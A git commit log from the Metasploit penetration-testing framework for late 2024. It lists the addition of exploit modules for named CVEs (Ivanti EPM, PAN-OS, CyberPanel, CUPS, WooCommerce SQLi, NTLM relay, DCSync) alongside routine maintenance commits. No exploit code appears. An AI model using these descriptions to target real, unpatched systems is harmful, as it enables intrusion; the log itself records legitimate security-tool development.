adfoster-r7 d9d7f1a898 Merge pull request #19654 from h00die/strapi
strapi 3.0.0 beta 17.4 password reset (CVE-2019-18818)
2024-11-21 12:35:30 +00:00
h00die 0f6da56a52 vcenter sudo module 2024-11-21 04:34:15 -05:00
Metasploit bc7adfbe41 Bump version of framework to 6.4.38 2024-11-21 03:32:51 -06:00
Ashley Donaldson 469671e59d Added LDAP password change module 2024-11-21 17:34:21 +11:00
h00die 4ff389762d xspy updates 2024-11-20 19:35:19 -05:00
jenkins-metasploit 3419bfec43 automatic module_metadata_base.json update 2024-11-20 22:41:34 +00:00
jheysel-r7 afbbba09e8 Land #19584 Judge0 sandbox escape CVE-2024-28185, CVE-2024-28189 2024-11-20 14:35:38 -08:00
Takah1ro da6f8cd552 Add Judge0 module and document 2024-11-20 14:15:38 -08:00
Ashley Donaldson 1a20bed286 Option description fix 2024-11-21 07:48:53 +11:00
jenkins-metasploit d69c146fb0 automatic module_metadata_base.json update 2024-11-20 19:26:21 +00:00
jheysel-r7 05cbd1d9a3 Land #19593 Add exploit for CVE-2023-28324 (Unauthenticated RCE in Ivanti EPM)
This exploits an unauthenticated RCE in Ivanti's EPM where a .NET remoting client can invoke a method that results in an OS command being executed in the context of NT AUTHORITY\SYSTEM.
2024-11-20 11:18:58 -08:00
Spencer McIntyre e52edf447c Implement feedback from the PR 2024-11-20 13:51:39 -05:00
Ashley Donaldson 4766976463 Removed executable status 2024-11-20 17:06:53 +11:00
Ashley Donaldson cec793f8f5 Msftidy changes 2024-11-20 16:09:21 +11:00
Ashley Donaldson afc735f4a4 Add documentation 2024-11-20 15:36:36 +11:00
Ashley Donaldson 1ca32eea7e Implement Reset NTLM behaviour. 2024-11-20 15:00:56 +11:00
Ashley Donaldson 8158cf5bae Add Reset and Change_NTLM actions 2024-11-20 12:13:41 +11:00
sfewer-r7 2469d4ea23 add in exploit module for the recent PAN-OS RCE, CVE-2024-0012 + CVE-2024-9474 2024-11-19 16:15:06 +00:00
adfoster-r7 e6615d3a74 Merge pull request #19659 from sjanusz-r7/fix-irb-deadlock-error
Fix IRB deadlock recursive locking on Ctrl+C
2024-11-19 16:11:09 +00:00
jenkins-metasploit 1d7e6050d3 automatic module_metadata_base.json update 2024-11-19 16:05:05 +00:00
Spencer McIntyre f7e210d3e9 Merge pull request #19624 from cdelafuente-r7/fix/mod/ms_icpr
Fix a crash when generating CSRs with OpenSSL 3.4.0
2024-11-19 10:58:52 -05:00
bwatters-r7 441a3215b2 Catch up to head on other branch 2024-11-19 08:59:22 -06:00
adfoster-r7 09db1811f1 Merge pull request #19662 from sjanusz-r7/fix-no-readline-crash
Load Readline without a conditional
2024-11-19 13:25:41 +00:00
sjanusz-r7 523a172e23 Load Readline without a conditional 2024-11-19 13:02:06 +00:00
adfoster-r7 e199dd7ca7 Merge pull request #19657 from sjanusz-r7/deprecate-real-readline
Deprecate real-readline option
2024-11-19 12:50:15 +00:00
sjanusz-r7 fefc8438f5 Deprecate real-readline option 2024-11-19 12:38:05 +00:00
Ashley Donaldson 479078a5f2 Adding changing/resetting password module 2024-11-19 17:44:59 +11:00
h00die 6bd049e346 operator working 2024-11-18 20:09:13 -05:00
gardnerapp 19770cf870 Remove unneeded file and rudocop corrections
Update modules/exploits/linux/local/gameoverlay_privesc.rb

Co-authored-by: Brendan <bwatters@rapid7.com>

Give bwatters7 credit, add docs

Experiment with randomized bash copy and Rex::File.join

remove unused line

Add missing parenthesis

fix problem with bash copy

Remove rex::join, call proper method for generating payload

add exploit::exe mixin, bash copy randomization

Rubocop changes

Remove nc
2024-11-18 17:01:08 -06:00
gardnerapp 6e09722f67 Rubocop changes and arch tracking for payload
Update modules/exploits/linux/local/gameoverlay_privesc.rb

Co-authored-by: Brendan <bwatters@rapid7.com>

Rubocop changes
2024-11-18 16:59:37 -06:00
gardnerapp c6425f7245 Break out command building to make it easier to read
Update modules/exploits/linux/local/gameoverlay_privesc.rb

Co-authored-by: Brendan <bwatters@rapid7.com>
2024-11-18 16:58:56 -06:00
gardnerapp e506c34e13 Update modules/exploits/linux/local/gameoverlay_privesc.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-11-18 16:57:17 -06:00
gardnerapp 883a0f8985 Update modules/exploits/linux/local/gameoverlay_privesc.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-11-18 16:57:17 -06:00
gardnerapp 51194ad0c9 Rebase and maintain authorship
Rebase and change payload delivery

Rebase and remove cmdstager
Update modules/exploits/linux/local/game_overlay_privesc.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

remove CmdStager Mixin

Add PrependSetuid

Remove python from exploit

Remove generate_payload_exe and add dynamic directory to upper mount layer

Change where payload is dropped

Remove FileUtils module

Call proper method for generating payload

Seperate exploit and triggering of payload

Seperate exploit and triggering payload

test
2024-11-18 16:55:59 -06:00
gardnerapp c927f22d66 Update modules/exploits/linux/local/game_overlay_privesc.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-11-18 16:44:33 -06:00
Corey 5edec2525f Rebase and Squash
init

Add moduel scaffolding

Add Opts, check and exploit methods

Rubocop changes

Add checks for vunerable kernel versions

Write check for distro type

Finish protoype of check add exploit

Make changes to check method

Add checkcode

Add x86 for payload compatability

remove check, add kernel version

add codenam, transform keys in vuln

Note

minor spelling change

Add description

Add cve references

Start trying to drop payloads on disk

Change description, include modules for file upload, use proper methods for writing payload

continue trying to upload

Use write_file instead of upload_and_chmodx

remove upload_dir opt

expirement w g1vi exploit

Include cmd_stage module, add generate_payload_exe, run payload in new namespace

Add missing call to setcap, fix description

Fix unterminated string, fix directory for calling python copy

Rubocop changes

Create dynamic payload

Add mkdir_p and WritableDir opts

Update modules/exploits/linux/local/game_overlay_privesc.rb

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

Revert back to python exploit, add dynamic writable dir

Add todos

Remove FileUtils

Change module name

Add checkcodes

Add more checkcodes
2024-11-18 16:41:38 -06:00
Christophe De La Fuente 519c18a858 Update specs for auxiliary/admin/dcerpc/icpr_cert 2024-11-18 21:28:55 +01:00
Spencer McIntyre 96a7a3269e Make enum options case normalizing 2024-11-18 14:20:14 -05:00
jenkins-metasploit 2177fdadbd automatic module_metadata_base.json update 2024-11-18 16:32:34 +00:00
Christophe De La Fuente 7bab1c1980 Fix specs and add algorithm argument 2024-11-18 17:17:58 +01:00
adfoster-r7 1ed2d7e258 Merge pull request #19658 from cdelafuente-r7/fix/mod/get_ticket/file_read
Fix `auxiliary/admin/kerberos/get_ticket` issue on Windows
2024-11-18 16:08:27 +00:00
sjanusz-r7 bc45734fed Fix IRB deadlock recursive locking on Ctrl+C 2024-11-18 14:37:01 +00:00
jenkins-metasploit 26e424a921 automatic module_metadata_base.json update 2024-11-18 14:32:24 +00:00
Christophe De La Fuente 2970c99471 Use binread instead 2024-11-18 15:32:08 +01:00
Spencer McIntyre dd7e1786e1 Merge pull request #19643 from smashery/dcsync_individual
DCsync individual accounts and groups
2024-11-18 09:25:21 -05:00
Christophe De La Fuente 7c512b7054 Read the certificate in binary mode 2024-11-18 15:11:36 +01:00
h00die f38661d6c3 pod user working 2024-11-18 07:30:21 -05:00
sfewer-r7 4856817131 fix a typo 2024-11-18 09:44:53 +00:00
Ashley Donaldson 20b8fc61a8 Updated ruby_smb module with SAMR group membership query ability 2024-11-18 10:08:00 +11:00
sjanusz-r7 358e79bd3c Handle SSH errors by closing the session 2024-11-17 14:53:42 +00:00
sjanusz-r7 f6a51610ad Add handle_error to command_stream 2024-11-17 14:25:22 +00:00
h00die dfebca457c strapi review 2024-11-16 15:47:54 -05:00
h00die 219981227d Update documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2024-11-16 15:36:00 -05:00
h00die 6629d5dff2 strapi password reset 2024-11-15 15:12:34 -05:00
sfewer-r7 c58dbbfb61 add in documentation 2024-11-15 17:42:57 +00:00
sfewer-r7 feb1ac79da add in a suitable certificate and private key to use by default. 2024-11-15 17:41:31 +00:00
jenkins-metasploit acc9940cdb automatic module_metadata_base.json update 2024-11-15 14:30:41 +00:00
Spencer McIntyre 5d9add4450 Merge pull request #19640 from jheysel-r7/pyload_js2py_cve_2024_39205
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)
2024-11-15 09:24:37 -05:00
jenkins-metasploit 786e8551ee automatic module_metadata_base.json update 2024-11-15 12:55:28 +00:00
adfoster-r7 d039bead93 Merge pull request #19601 from sjanusz-r7/add-teamcity-login-scanner
Add JetBrains TeamCity HTTP Login Scanner
2024-11-15 12:49:10 +00:00
sfewer-r7 e520ca7ee9 comment the intent of this code block 2024-11-15 12:29:31 +00:00
sfewer-r7 2ec5778405 get_cert_subject_item may return nil, so test for that here 2024-11-15 12:28:25 +00:00
sfewer-r7 51ad7ad0bf improve the send_packet logic to fail gracefully if bad data is recieved 2024-11-15 12:27:33 +00:00
Heyder Andrade 0f969f1dd6 Clean-up 2024-11-15 11:53:59 +01:00
sfewer-r7 c3bd4792ec rename SSLClientCert and SSLClientKey to ClientCert and ClientKey. This then matcheds up with ClientSerialNumber and ClientPlatform, which is clearer IMHO. Also, we explicitly create a Rex TCP socket, so these param names no longer collide with what a mixin would use 2024-11-15 09:44:50 +00:00
sfewer-r7 6eb15d5b66 add a helper method get_cert_subject_item 2024-11-15 09:42:59 +00:00
sfewer-r7 91587ce30b this message can be on a single line 2024-11-15 09:42:06 +00:00
sfewer-r7 e89c27fa3b fix some typos. Make msftidy happy. Add comments to the external references. 2024-11-15 08:54:32 +00:00
Arne De Herdt de39b693b7 Merge pull request #19645 from adeherdt-r7/MS-9862-rails-upgrade-preparation-migration-manager
MS-9862 Ruby on Rails Upgrade Preparation : Migration
2024-11-15 08:44:05 +01:00
Ashley Donaldson 9bd27e431d Give specific version details when the version matches perfectly 2024-11-15 14:54:57 +11:00
Ashley Donaldson 717940590a Clearer datastore option description 2024-11-15 11:11:41 +11:00
dwelch-r7 9409749a21 Land #19650, Fix crash when using modules 2024-11-14 21:26:46 +00:00
adfoster-r7 6be0182b1f Fix crash when using modules 2024-11-14 21:19:41 +00:00
Jack Heysel 92e42a63ea Rubocop 2024-11-14 12:47:35 -08:00
Jack Heysel 4e1f33336c Ofuscation and Gemfile update 2024-11-14 12:44:19 -08:00
h00die 6962d828ac primefaces exploit v2 2024-11-14 14:14:02 -05:00
h00die 7a8e72f9b8 primefaces exploit v1 2024-11-14 14:12:13 -05:00
sfewer-r7 47f924bb8f add in the initial work on the FortiManager exploit. 2024-11-14 18:53:12 +00:00
Jack Heysel 526451fed5 Responded to comments 2024-11-14 10:46:11 -08:00
Spencer McIntyre d2ee472e31 Merge pull request #19185 from dwelch-r7/display-current-action-on-module-load
Display current action on module load
2024-11-14 12:49:57 -05:00
Heyder Andrade 09d84eaabb Added module for WSO2 API Manager Documentation File Upload Remote Code Execution
Closes #19646

on-behalf-of: @redwaysecurity <info@redwaysecurity.com>
2024-11-14 18:34:11 +01:00
Arne De Herdt b80bd252a8 MS-9862 Ruby on Rails Upgrade Preparation : Migration
Updating the logic in the `Msf::DbManager::Migration` to adhere to modern Rails standards and no longer manually control the connection. The connection pool and handling is fully controlled by ActiveRecord, which has a better understanding of what needs to be done than we do.
2024-11-14 11:37:54 +01:00
adfoster-r7 4c659ed13d Merge pull request #19644 from adeherdt-r7/MS-9682-rails-upgrade-preparation-workflows
MS-9682 Rails Upgrade Preparation: Workflows
2024-11-14 10:06:41 +00:00
Arne De Herdt fe4d5aff74 MS-9682 Rails Upgrade Preparation: Workflows
Updating the workflows to accommodate the required changes for the Ruby on Rails 7.1 upgrade.
This increases the timeout settings and changes the healthcheck command to properly use the correct account and reduce the noise level in the logs.
2024-11-14 09:39:19 +01:00
Ashley Donaldson 715fa3c559 Msftidy fixes 2024-11-14 17:58:00 +11:00
Ashley Donaldson 3e3e81ff22 Update documentation with new datastore options 2024-11-14 15:15:06 +11:00
Ashley Donaldson 67c33fa95f Fix bug: DCSync only once, rather than once per DC that exists in the domain
- Also only DCSync each user once (if they're specified multiple times in KRB_USERS)
- Also be resilient to spaces in the comma-sepration
2024-11-14 15:13:59 +11:00
Jack Heysel 2ba8a6c08d Responded to comments 2024-11-13 17:23:08 -08:00
Metasploit 67e27c60ef Bump version of framework to 6.4.37 2024-11-13 18:39:19 -06:00
Jack Heysel 497ce5e9da Linting and Rex::RandomIdentifier update 2024-11-13 08:28:52 -08:00
jenkins-metasploit ec8778b4c9 automatic module_metadata_base.json update 2024-11-13 15:58:04 +00:00
adfoster-r7 2a022b8215 Merge pull request #19635 from adfoster-r7/update-kerberos-enumusers-description
Update Kerberos enumusers description
2024-11-13 15:50:53 +00:00
adfoster-r7 5e5a5ce0a1 Merge pull request #19634 from adfoster-r7/update-readme-file
Update README file
2024-11-13 15:26:10 +00:00
Dean Welch 0d0631aa2a Squash to a single line of output 2024-11-13 11:27:17 +00:00
Ashley Donaldson 1705203ad8 Support DCSyncing by group too 2024-11-13 17:22:11 +11:00
h4x-x0r 37c148cc7c CVE-2024-47407
CVE-2024-47407
2024-11-13 03:55:17 +00:00
h4x-x0r afdddf2e43 updated 2024-11-13 03:40:22 +00:00
Jack Heysel d2ef3cb6a9 Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397) 2024-11-12 16:05:07 -08:00
Metasploit 93fab6c26b automatic module_metadata_base.json update 2024-11-12 17:19:17 -06:00
Brendan 19e182ce65 Land #19557, Add Palo Alto Expedition RCE (CVE-2024-5910 & CVE-2024-9464) Module
Palo Alto Expedition RCE (CVE-2024-5910 & CVE-2024-9464) Module
2024-11-12 16:42:06 -06:00
Christophe De La Fuente 24e19e4ebb Update the ESC8 relay module to use the new helper
It also fixes some unrelated minor issues found in the module and the documentation
2024-11-12 18:23:31 +01:00
Dean Welch 2c009d02f9 place current action display behind feature flag 2024-11-12 15:53:30 +00:00
Dean Welch 6018adbbb3 Display current action and number of available actions on module use 2024-11-12 15:53:30 +00:00
h4x-x0r 6f6f92823a fixed typo
fixed typo
2024-11-12 15:15:15 +00:00
h4x-x0r a09ca39dee Update documentation/modules/exploit/linux/http/paloalto_expedition_rce.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-11-12 09:03:51 -06:00
h4x-x0r 61486cd877 Update documentation/modules/exploit/linux/http/paloalto_expedition_rce.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-11-12 09:03:35 -06:00
h4x-x0r fb102ec409 Update modules/exploits/linux/http/paloalto_expedition_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-11-12 09:03:22 -06:00
adfoster-r7 ffa12f6ba5 Update Kerberos enumusers description 2024-11-12 13:45:47 +00:00
adfoster-r7 a52a22f922 Update README file 2024-11-12 13:35:37 +00:00
Christophe De La Fuente 35bb832b7c Add create_csr helper under Rex::Proto
Also update `ms_icpr.rb` to use it
2024-11-12 12:34:20 +01:00
Christophe De La Fuente 422ecd8d3f Remove setting version for CSR 2024-11-12 12:34:20 +01:00
Ashley Donaldson 6c3e13a31f Able to query just a subset of users 2024-11-12 17:04:40 +11:00
h4x-x0r a80006933a Merge pull request #2 from bwatters-r7/collab/pr/19557
Stage cmd payloads to a file before executing
2024-11-11 21:20:35 -06:00
Ashley Donaldson d396d06e35 Enable adding Users, not just computers (if permissions allow)
Also added extra error handling for when password is wrong or expired
2024-11-12 12:33:29 +11:00
h00die 4ebc6f1ff1 peer review 2024-11-11 17:37:33 -05:00
h00die 594c3a82ea peer review 2024-11-11 17:32:49 -05:00
remmons-r7 4951a9b24d Create mDNS server.rb 2024-11-11 15:54:44 -06:00
remmons-r7 b712f9a745 Create cups_ipp_remote_code_execution.md 2024-11-11 15:53:14 -06:00
remmons-r7 720312ba1c Create cups_ipp_remote_code_execution.rb 2024-11-11 15:51:09 -06:00
bwatters-r7 03928a56bd Add staging file delete and code cleanup 2024-11-11 14:42:19 -06:00
Jack Heysel 27459bb10f Updated docs 2024-11-11 12:40:56 -08:00
Jack Heysel 3068511b66 CVE-2023:4220: Chamilo v1.11.24 Unrestricted File Upload 2024-11-11 11:33:34 -08:00
adfoster-r7 88132657d2 Merge pull request #19628 from adfoster-r7/update-readme-steps
Update README
2024-11-11 17:07:53 +00:00
adfoster-r7 5c256798e3 Update README 2024-11-11 16:58:51 +00:00
adfoster-r7 cc92e62573 Merge pull request #19627 from adfoster-r7/update-readme
Update readme
2024-11-11 16:50:59 +00:00
adfoster-r7 c83c258221 Update readme 2024-11-11 16:30:39 +00:00
Spencer McIntyre f16991af07 Merge pull request #19623 from adfoster-r7/fix-kerberos-cache-storage-exception
Fix Kerberos cache storage exception
2024-11-11 09:31:13 -05:00
adfoster-r7 2206b0c288 Merge pull request #19617 from sjanusz-r7/fix-shell-include
Check for nil res when setting echo shell
2024-11-11 10:23:15 +00:00
Ashley Donaldson 8891c56211 Give likely Windows versions for SMB v2-3 2024-11-11 14:00:53 +11:00
bwatters-r7 0308f46f74 Stage cmd payloads to a file before executing 2024-11-08 19:27:58 -06:00
adfoster-r7 abfc24efdc Fix Kerberos cache storage exception 2024-11-08 11:25:28 +00:00
vultza 39243fc52f minor fixes 2024-11-07 22:37:47 +00:00
Spencer McIntyre 03dc2317da Merge pull request #19369 from Adithya2357/readme-update
Update README.md
2024-11-07 14:46:06 -05:00
adfoster-r7 3ccf18f8e9 Merge pull request #19610 from cgranleese-r7/fixes-report-summary
Updates report summary mixin with an additional fallback when finding creds
2024-11-07 19:24:40 +00:00
soroshsabz f56a6d693d Update Setting-Up-a-Metasploit-Development-Environment.md 2024-11-07 18:24:21 +03:30
soroshsabz 80067379a5 Update Setting-Up-a-Metasploit-Development-Environment.md 2024-11-07 18:22:37 +03:30
soroshsabz b55903a75f Update Setting-Up-a-Metasploit-Development-Environment.md 2024-11-07 18:06:44 +03:30
soroshsabz 51dda15b78 Update Setting-Up-a-Metasploit-Development-Environment.md 2024-11-07 17:54:37 +03:30
Spencer McIntyre c98830834b Merge pull request #19620 from dudu7615/Fixed-spelling-errors-in-command-usage
Fixed spelling errors in command usage
2024-11-07 09:14:32 -05:00
soroshsabz c0fbba25f4 Update Setting-Up-a-Metasploit-Development-Environment.md
Add PowerShell based installation instructions
2024-11-07 16:48:02 +03:30
Metasploit 763793ee3d Bump version of framework to 6.4.36 2024-11-07 03:35:44 -06:00
Jack Heysel 81b83f2fd6 Updated docs and check 2024-11-06 09:13:51 -08:00
cgranleese-r7 96f6f66429 Land #19550, Fix username/password generation in case both PASSWORD_SPRAY and USER_AS_PASS are enabled 2024-11-06 13:56:05 +00:00
dudu 8ffa333a97 Fixed spelling errors in command usage 2024-11-06 20:38:51 +08:00
adfoster-r7 c27c943e40 Merge pull request #19619 from smashery/krb-etype-cache-regression
Fix out of scope variable with original behaviour
2024-11-06 11:25:48 +00:00
Ashley Donaldson 2470a45eb1 Fix out of scope variable with original behaviour 2024-11-06 18:33:34 +11:00
Jack Heysel 10cd8d1020 Removed unnecessary code from exploit.cpp 2024-11-05 15:47:52 -08:00
Jack Heysel 5bc3e046eb Update check 2024-11-05 15:34:25 -08:00
Jack Heysel 7a5bc60aab Windows Access Mode Mismatch LPE in ks.sys [CVE-2024-35250] 2024-11-05 15:31:44 -08:00
Metasploit c250f8dfe1 automatic module_metadata_base.json update 2024-11-05 13:30:50 -06:00
Spencer McIntyre e709a18128 Merge pull request #19404 from bwatters-r7/smb2http_relay
SMB to NTLM HTTP Relay with ESC8 module
2024-11-05 14:12:08 -05:00
sjanusz-r7 975c1ac71f Check for nil res when setting echo shell 2024-11-05 13:31:07 +00:00
vultza 1348275ff7 fix lax check 2024-11-04 23:07:32 +00:00
h00die 0de93eedb7 asterisk ami auth rce 2024-11-04 16:27:58 -05:00
h00die 773355f0e8 making bcenter lpe progress 2024-11-04 16:26:08 -05:00
bwatters-r7 be21e2d4c6 Switch print to call out available templates 2024-11-04 13:37:23 -06:00
Brendan 096e86cdaa Merge pull request #5 from zeroSteiner/pr/collab/19404
Pr/collab/19404
2024-11-04 12:39:00 -06:00
sjanusz-r7 68ec0c82f1 TeamCity: Lint 2024-11-04 16:58:32 +00:00
cgranleese-r7 145ab02f0c Land #19573, Update to Ruby 3.2 2024-11-04 16:37:29 +00:00
sjanusz-r7 520ac7ef2b TeamCity: Correctly encrypt UTF-8 codepoints 2024-11-04 16:33:29 +00:00
sjanusz-r7 2073121f5e TeamCity: Raise ArgumentError, refactor Crypto as an included module 2024-11-04 16:33:29 +00:00
sjanusz-r7 f82483ba1e TeamCity: Initial TeamCity Crypto tests 2024-11-04 16:33:29 +00:00
sjanusz-r7 970beb4c27 TeamCity: Consolidate RSA crypto into login scanner 2024-11-04 16:33:29 +00:00
sjanusz-r7 a6ee189502 TeamCity: Use more exceptions, cache public key 2024-11-04 16:33:29 +00:00
sjanusz-r7 386441d3d2 TeamCity: Consolidate HTTP TeamCity into module 2024-11-04 16:33:29 +00:00
sjanusz-r7 c37f4e6508 TeamCity: Prevent endless recursion and stack explosions in try_login 2024-11-04 16:33:29 +00:00
sjanusz-r7 ed1a5d97c3 TeamCity: use vars_post for login request 2024-11-04 16:33:29 +00:00
sjanusz-r7 84cacb5cca TeamCity: Fire and forget logout request 2024-11-04 16:33:28 +00:00
sjanusz-r7 ef51254fcd TeamCity: Add maximum message size for string 2024-11-04 16:33:28 +00:00
sjanusz-r7 7c1692cb84 TeamCity: Modify authors 2024-11-04 16:33:28 +00:00
sjanusz-r7 9cb05efa27 TeamCity: use random padding bytes 2024-11-04 16:33:28 +00:00
sjanusz-r7 cba8962d29 Add JetBrains TeamCity HTTP Login Scanner 2024-11-04 16:33:28 +00:00
adfoster-r7 69dabe6817 Update to Ruby 3.2 2024-11-04 16:08:01 +00:00
vultza c9e0668473 fixed double project name validation issue 2024-11-04 16:01:06 +00:00
vultza 3a90648c7a update validation function and fix typo 2024-11-04 15:55:45 +00:00
Spencer McIntyre e130092d87 Add a missing require statement 2024-11-04 09:37:12 -05:00
Spencer McIntyre 006ed90f1c Move the ESC8 module and document the attack 2024-11-04 09:37:12 -05:00
Spencer McIntyre 7d8baee574 Add some error handling and more logging 2024-11-04 09:37:12 -05:00
Spencer McIntyre 80d883b55e Consistently use strings for HTTP request options 2024-11-04 09:37:12 -05:00
Spencer McIntyre 4a4ec9aea4 Add some more logging 2024-11-04 09:37:12 -05:00
Spencer McIntyre 316a967414 Update the ESC8 module for the new changes 2024-11-04 09:37:08 -05:00
h00die 5d2bc4aa3c add vcenter server appliance to ssh platform 2024-11-03 14:47:40 -05:00
h00die 8ba4332c33 Merge remote-tracking branch 'upstream/master' into vcenter_privesc 2024-11-03 13:56:14 -05:00
h00die 2b593bcf54 wp_post_smtp_acct_takeover peer review 2024-11-03 13:52:55 -05:00
vultza a74e1678d9 fix path normalization and missing comma 2024-11-02 15:10:15 +00:00
vultza 8f2f0c7b37 typo on documentation 2024-11-02 15:08:37 +00:00
vultza f0abc0da69 Add documentation 2024-11-02 00:47:32 +00:00
vultza 1e6bfb2af8 Add CVE-2024-45309 2024-11-02 00:47:15 +00:00
h00die 9cba5dad59 WIP for asterisk rce 2024-11-01 16:28:45 -04:00
adfoster-r7 f40e98616c Merge pull request #19612 from rapid7/revert-19554-new-junction-test
Revert "Added new failing test for windows junction points"
2024-11-01 17:36:51 +00:00
adfoster-r7 9485cdd9a6 Revert "Added new failing test for windows junction points" 2024-11-01 17:19:39 +00:00
Valentin Lobstein c1c9f6f7bb Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-01 17:23:45 +01:00
Valentin Lobstein 5464e8c009 Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-01 17:23:35 +01:00
Spencer McIntyre d9b3528d89 Merge pull request #19554 from smashery/new-junction-test
Added new tests for Windows junction points
2024-11-01 11:54:00 -04:00
Metasploit 1634cdc5cc automatic module_metadata_base.json update 2024-11-01 10:29:21 -05:00
cgranleese-r7 dc6cb34a21 Updates report summary mixin to have additional fallback when looking for creds 2024-11-01 15:27:31 +00:00
Spencer McIntyre 3b0195918c Merge pull request #19529 from NtAlexio2/pipe_dcerpc_auditor_rport
Allow settings the RPORT option for pipe_dcerpc_auditor
2024-11-01 11:11:45 -04:00
Valentin Lobstein 3e7aca2584 Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-01 15:46:26 +01:00
Valentin Lobstein 12abb50813 Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-01 15:46:14 +01:00
Valentin Lobstein f85de40d58 Update documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-01 15:46:05 +01:00
Graeme Robinson f209316239 Update werkzeug_debug_rce.rb
Use percent strings for module description
2024-11-01 14:24:31 +00:00
Metasploit ca9d0558f9 automatic module_metadata_base.json update 2024-11-01 06:29:40 -05:00
dwelch-r7 1bfa0755a8 Land #19518, Add support for RISC-V 32-bit / 64-bit Little Endian payloads 2024-11-01 11:18:30 +00:00
Chocapikk db8c0461b8 Remove timeout 2024-11-01 08:55:32 +01:00
Chocapikk 3723064ac9 Fix typo 2024-11-01 08:53:55 +01:00
Chocapikk 695feaa37e Update comment 2024-11-01 08:50:04 +01:00
Chocapikk 616ffe7d18 Add CVE-2024-51568 2024-11-01 08:48:34 +01:00
Chocapikk cdd3ef9bc5 Update description 2024-10-31 22:21:43 +01:00
Chocapikk 42980c235d Update refs 2024-10-31 22:19:19 +01:00
Chocapikk 4269615400 Add CyberPanel Pre-Auth RCE Exploit Module for CVE-2024-51378 and CVE-2024-51567 2024-10-31 22:13:05 +01:00
Metasploit 9e0b0f565f automatic module_metadata_base.json update 2024-10-31 15:34:25 -05:00
Brendan ff521464f3 Land #19528, Add Python exec payload
Add a python/exec payload to execute OS commands
2024-10-31 15:23:25 -05:00
Metasploit 4a59d3db34 automatic module_metadata_base.json update 2024-10-31 11:42:23 -05:00
jheysel-r7 ea45d83562 Land #19499, Adds SolarWinds Help Desk Backdoor module
This adds a new module which exploits a backdoor in SolarWinds Web Help Desk (CVE-2024-28987) <= v12.8.3 which enables attackers to retrieve all tickets currently logged in the application.
2024-10-31 12:17:32 -04:00
jheysel-r7 2e8892cb01 Land #19517, Add WooCommerce SQLi module
This adds a new auxiliary module that exploits an unauthenticated SQL injection vulnerability in the TI WooCommerce Wishlist plugin for WordPress (versions <= 2.8.2). The vulnerability allows attackers to execute SQL queries via the order parameter which can be used to dump usernames and their hashed passwords.
2024-10-31 12:09:55 -04:00
Jack Heysel 3456293da5 Lint 2024-10-31 11:56:55 -04:00
jheysel-r7 f01b01a62c Update modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.rb 2024-10-31 11:36:19 -04:00
Spencer McIntyre 5550e073dd Implement suggested changes 2024-10-31 11:29:34 -04:00
jheysel-r7 f24c0148f8 Update modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb 2024-10-31 10:56:56 -04:00
Metasploit ec013f2a73 Bump version of framework to 6.4.35 2024-10-31 09:14:41 -05:00
h4x-x0r c34d20db68 updated
updated
2024-10-30 21:51:32 +00:00
h00die 65efd07935 docs for wp_post_smtp 2024-10-30 15:38:46 -04:00
h00die-gr3y 7e30647d71 small update 2024-10-30 15:12:41 +00:00
h00die 9da5177d11 remove old code 2024-10-29 16:44:48 -04:00
h00die 41ed44864f wp_post_smtp_acct_takeover 2024-10-29 16:44:20 -04:00
h00die 4feb12ab4a untested code 2024-10-29 16:44:20 -04:00
Spencer McIntyre 9f41937c7a Finish up the exploit module 2024-10-28 17:20:35 -04:00
h00die-gr3y 2c40621d18 added report_web_vuln as suggested by the reviewer 2024-10-28 14:27:05 +00:00
h00die-gr3y 6aeb9d130b added the output option to the documentation 2024-10-25 14:13:18 +00:00
h00die-gr3y ae176fdfd5 update based on review comments of adfoster-r7 2024-10-25 14:01:10 +00:00
h00die-gr3y 5aaf0b22cd update based on review comments of adfoster-r7 2024-10-25 10:41:10 +00:00
Spencer McIntyre 27d5c95323 Refactor into an SMB server relay mixin 2024-10-24 16:25:40 -04:00
Spencer McIntyre 9822f3e812 Decouple the NTLM relaying logic 2024-10-24 16:25:40 -04:00
Spencer McIntyre 8ba0019ca0 Refactor the existing relay target client code 2024-10-24 16:25:40 -04:00
bwatters-r7 a18b2b3671 code cleanup and documentation 2024-10-24 15:23:10 -05:00
bwatters dff4a8ba7c Updates per Spencer 2024-10-24 15:23:10 -05:00
bwatters 30b0e0ad29 Update debug prints and fix create_csr parameter 2024-10-24 15:23:10 -05:00
bwatters c4c1aae565 Update smb thread logging, fix control flow, use RELAY_TARGET, other suggestions 2024-10-24 15:23:10 -05:00
bwatters 74f6bc7d13 Remove Rescues and Rubocop 2024-10-24 15:23:10 -05:00
bwatters 6dcf63267b Fix rescue clauses 2024-10-24 15:23:10 -05:00
bwatters 0b94fdf75f Fix up suggestions from Spencer et al. 2024-10-24 15:23:10 -05:00
bwatters 1fb0b728a8 Fix timeout, add query_only mode and allow skipping the termplate query 2024-10-24 15:23:10 -05:00
bwatters 4c598c1981 Move ESC8 logic to module and limit debug printing 2024-10-24 15:23:09 -05:00
bwatters 5b1746f73f Add support for multiple certs 2024-10-24 15:23:09 -05:00
bwatters 0ba3db9466 Working, but ugly 2024-10-24 15:23:09 -05:00
